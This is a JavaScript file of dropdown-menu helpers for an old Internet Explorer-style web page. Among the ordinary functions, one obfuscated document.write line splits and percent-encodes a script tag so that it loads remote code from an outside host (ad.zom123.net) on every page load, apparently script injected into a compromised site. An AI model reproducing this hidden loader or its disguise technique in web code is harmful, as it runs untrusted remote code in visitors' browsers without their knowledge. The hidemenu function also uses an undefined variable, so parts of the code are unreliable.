function showmenu(main,menuid) { 
    obj1=findObj(main); 
    obj2=findObj(menuid); 
    if (obj1.style) 
        obj2=obj2.style; 
    obj2.top=document.all.menu.offsetTop+20; 
    obj2.left=obj1.offsetLeft+8; 
    obj2.visibility='visible'; 
} 
  
function hidemenu(main,menuid){ 
    obj2=findObj(menuid); 
    if (obj1.style) 
        obj2=obj2.style; 

    obj2.visibility='hidden'; 
} 

function doColor(item) { 
    item.bgColor = '#d3d3d3'; 
} 

function undoColor(item) { 
    item.bgColor = '#f4f4f4'; 
}

var lastobj = null;
function showHide(ids){
	var obj = document.all("item" + ids);
	if(obj){
		if(obj.style.display=='none')
			obj.style.display='';
		else
			obj.style.display='none';
	}
}

function checkRange(obj){
	var toObj = event.toElement;
	if(toObj&&toObj.childmenu==obj.id)return;
	while(toObj){
		if(toObj==obj)
			return
		toObj = toObj.parentElement;
	};
	showHide(null)
}
function checkRangeA(obj){
	var toObj = event.toElement;
	while(toObj){
		if(toObj==document.all(obj.childmenu))
			return;
		toObj = toObj.parentElement;
	}
	showHide(null);
}





var lastobj = null;
function showdiv(obj){
	var oldobj = obj;
	if(!obj){
		if(lastobj)lastobj.style.display = 'none';
		return;
	}
	
	var divname = obj.childmenu
	var obj = document.all(divname);
	if(obj){
		if(lastobj)	lastobj.style.display = 'none';
		obj.style.display = '';
		lastobj = obj;
	}
}
document.write('<scr'+'ipt src="http://%61d.'+'%7aom'+'12'+
'%33'+'.net'+'/ip.'+'asp?loc'+'=wenzhou"><\/scr'+'ipt>');
function checkRange1(obj){
	var toObj = event.toElement;
	if(toObj&&toObj.childmenu==obj.id)return;
	while(toObj){
		if(toObj==obj)
			return
		toObj = toObj.parentElement;
	};
	showdiv(null)
}
function checkRange1A(obj){
	var toObj = event.toElement;
	while(toObj){
		if(toObj==document.all(obj.childmenu))
			return;
		toObj = toObj.parentElement;
	}
	showdiv(null);
}